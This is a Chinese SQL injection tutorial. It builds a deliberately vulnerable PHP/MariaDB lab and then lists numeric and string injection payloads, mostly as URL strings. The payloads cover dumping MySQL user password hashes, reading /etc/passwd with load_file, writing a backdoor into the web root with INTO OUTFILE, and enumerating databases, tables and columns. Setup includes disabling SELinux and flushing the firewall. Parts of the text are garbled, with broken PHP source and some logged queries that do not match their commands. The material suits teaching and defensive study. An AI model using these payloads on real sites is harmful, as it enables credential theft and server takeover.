SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,下面我们将演示SQL注入的一些原理性的东西.
数字型注入是最常规的一种注入方式,通常存在于网页的链接地址中,例如index.php?id=
这样的类型,通常存在可利用的地方,这里通过一个例子来学习数字型注入的一些注入技巧.
1.首先我这里使用的是Centos7,在该系统上通过Yum搭建LAMP的环境.
[root@localhost ~]# yum install -y httpd httpd-devel \
mariadb mariadb-server mysql-devel \
php php-mysql php-common php-gd php-xml
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# systemctl restart mariadb
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb
2.进入MySQL并创建一个测试用的数据表,写入一些测试所使用的查询数据.
[root@localhost ~]# mysql -uroot -p1233
MariaDB [(none)]> create database lyshark;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> use lyshark;
Database changed
MariaDB [lyshark]> create table lyshark (
-> id int(10) not null,
-> title varchar(1000) not null,
-> text varchar(2000) not null
-> );
Query OK, 0 rows affected (0.02 sec)
MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));
insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');
3.在网站目录下新建一个index.php
文件,并配置好权限,这里需要关闭Selinux
和Iptables
防火墙.
[root@localhost ~]# setenforce 0
[root@localhost ~]# iptables -F
[root@localhost ~]#
[root@localhost ~]# vim /var/www/html/index.php
";
echo "标题: ".$row['title']."
";
echo "内容: ".$row['text']."
";
echo "
";
}
mysql_close($connection);
echo "后台执行的SQL语句: ".$myquery."
";
?>
[root@localhost ~]# chmod 755 -R /var/www/html/index.php
[root@localhost ~]# chown apache.apache /var/www/html/index.php
[root@localhost ~]# systemctl restart httpd
4.最后访问这个页面,并传入一个参数,即可查看返回结果.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2
提交单引号: 通过提交单引号并根据返回结果判断是否存在注入点,如果返回正常说明存在注入点.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'
执行的SQL语句: select * from lyshark where id=1'
提交AND判断: 也可以使用and语句来判断是否存在注入.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
执行的SQL语句: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
执行的SQL语句: select * from lyshark where id=1 and 1=0
以上注入可发现and 1=1
返回了数据,而and 1=0
则没有返回,这是由于and 1=1
是一个为真的条件,所以返回了而and 1=0
结果为假也就没有结果,这里也能看出我们的注入语句被数据库执行了.
提交OR判断: 同样的使用OR语句也是可以判断数据库权限的.
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
执行的SQL语句: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
执行的SQL语句: select * from lyshark where id=1 and 1=0
提交加号: 我们在参数输入1+1
,看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1
执行的SQL语句: select * from lyshark where id=1+1
提交减号: 同样的道理,提交减号也可以实现判断注入点,这里不需要进行编码转化.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1
执行的SQL语句: select * from lyshark where id=2-1
判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1 and ord(mid(user(),1,1)) = 114
判断权限大小: 如果结果返回正常,说明具有读写权限,返回错误,应该是管理员给数据库帐户降权了.
index.php?id=1 and(select count(*) from mysql.user) > 0
查询管理密码: 查询MySQL的管理密码,这里的#末尾警号
,是注释符的意思,说明后面的都是注释.
index.php?id=1 union select host,user,password from mysql.user# // 5.6以前版本
index.php?id=1 union select host,user,authentication_string from mysql.user# // 5.7以后版本
向主站写入后门: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
index.php?id=1 union select null,null,"" into outfile '/var/www/html/a.php'
index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))
常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1 union select 1,1,load_file("/etc/passwd") // 加载指定文件
index.php?id=1 union select 1,1,@@datadir // 判断数据库目录
index.php?id=1 union select 1,1,@@basedir // 判断安装根路径
index.php?id=1 union select 1,1,@@hostname // 判断主机名
index.php?id=1 union select 1,1,@@version // 判断数据库版本
index.php?id=1 union select 1,1,@@version_compile_os // 判断系统类型(Linux)
index.php?id=1 union select 1,1,@@version_compile_machine // 判断系统体系(x86)
index.php?id=1 union select 1,1,user() // 曝出系统用户
index.php?id=1 union select 1,1,database() // 曝出当前数据库
Union 查询字段: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select
的列与它查询的列相同时,页面返回正常,而在and后面加上1=1或1=2
的作用后面会讲.
a.首先我们猜测,当前字段数为2
的时候,页面会返回错误,也就说明表字段数必然是大于2的.
index.php?id=1 and 1=1 union select 1,2
执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2
b.在上面的基础上,我们增加一个字段
,查询1,2,3
时页面显示正常,说明表结构是3个字段的.
index.php?id=1 and 1=1 union select 1,2,3
执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3
c.为了验证数据库是否为3个字段,我们增加到4个字段
,发现页面显示错误
,则证明肯定是3个字段.
index.php?id=1 and 1=1 union select 1,2,3,4
执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4
上面的结果,说明字段数就是3
,输入的数大于或小于字段数时都会报错,而使用union select null,null,null
替换1,2,3
是相同的效果用数字也可以.
index.php?id=1 and 1=1 union select null,null,null #
执行的SQL语句: select * from lyshark where id=1 and 1=1 union select null,null,null
Order By查询字段: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1
按照第二列排序order by 2
依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序
数据库会返回正常,但是当我们按照第100列排序
,但是数据库中并不存在第100列,从而报错.
a.首先我们猜测
数据库有4个字段
,尝试根据第四行进行排序
发现数据无法显示,说明是小于4的.
index.php?id=1 order by 4 #
b.上面查询没有显示任何结果,我们查询4个字段无返回值,说面该表小于4个字段,我们继续使用3测试
,此时返回了结果.
index.php?id=1 order by 3 #
大部分程序只会调用数据库查询的第一条语句进行查询然后返回,而通过联合查询出的数据中,我们想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.
第一种:我们让第一个查询的结果始终为假,通过使用and 0
来实现,下面的标号啥的就干净了.
index.php?id=1 and 0 union select null,null,null
执行的SQL语句: select * from lyshark where id=1 and 0 union select null,null,null
第二种:通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.
index.php?id=1 union select null,null,null limit 1,1
执行的SQL语句: select * from lyshark where id=1 union select null,null,null limit 1,1
上面结果返回也是空,因为这使用的null,所以返回的还是null
查当前数据库名称: 可以直接使用MySQL自带函数database()
来查询得到当前使用的数据库.
index.php?id=1 and 0 union select 1,1,database()
查全部数据库名称: 使用以下语句语句得到所有的数据库名,and 1=0
功能是不显示第一行.
index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata
查指定数据库名称: 用来查询第一个数据库的名称,但这个写法有个小问题,继续往下看.
index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1
以上查询结果,并没有显示数据库名而显示的是第一条语句查询出来的结果,在union前面加上and 0
就能显示出来了.
index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1
以下查询方式,根据控制limit 0,1,2,3....
,我们既可以获取到指定数量的数据库名称.
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1
查表名称(1): 通过使用group_concat
可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.
index.php?id=1 and 0 union select 1,1,group_concat(table_name)
> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称
查表名称(2): 同样,使用下面的语句也是可以查出数据库中的表,但该查询方式会分行显示查询的结果.
index.php?id=1 and 0 union select 1,1,table_name
> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称
查表中字段(1):
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark'
查表中字段(2): 也可以查看mysql库user表中的字段,进行一个查询.
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
查表中字段(3):
index.php?id=2 union select null,null,column_name
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
查表中数据: 查询表中数据,我们可以使用以下三种方式进行查询.
index.php?id=1 union select Host,User,Password from mysql.user
index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark
index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user
字符串或串(String)是由数字、字母、下划线组成的一串字符,一般记为s="a1 a2···an "(n>=0)
,它是编程语言中表示文本的数据类型,字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来,接下来看一段SQL语句.
$query="select first_name from users where id='$_GET['id']'";
上面的这句SQL语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2
等,但是如果有人输入以下恶意语句则就会引发注入.
1' union select database() #;
这样的话这句SQL请求,在后台的执行结果就变成了以下的样子.
select first_name from users where id='1'union select database()#'
如上,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的,以上只是一个简单的SQL注入的例子.从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞.
简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示),字符型SQL注入的关键就是单引号的闭合,例如以下几个例子:
select * from tables where idproduct=’ 13’;
select * from tables where name=’ fendo’;
select * from tables where data=’ 01/01/2017’;
1.首先我们在原来的基础上,新建一个文件/var/www/html/index.php
.
vim /var/www/html/index.php
";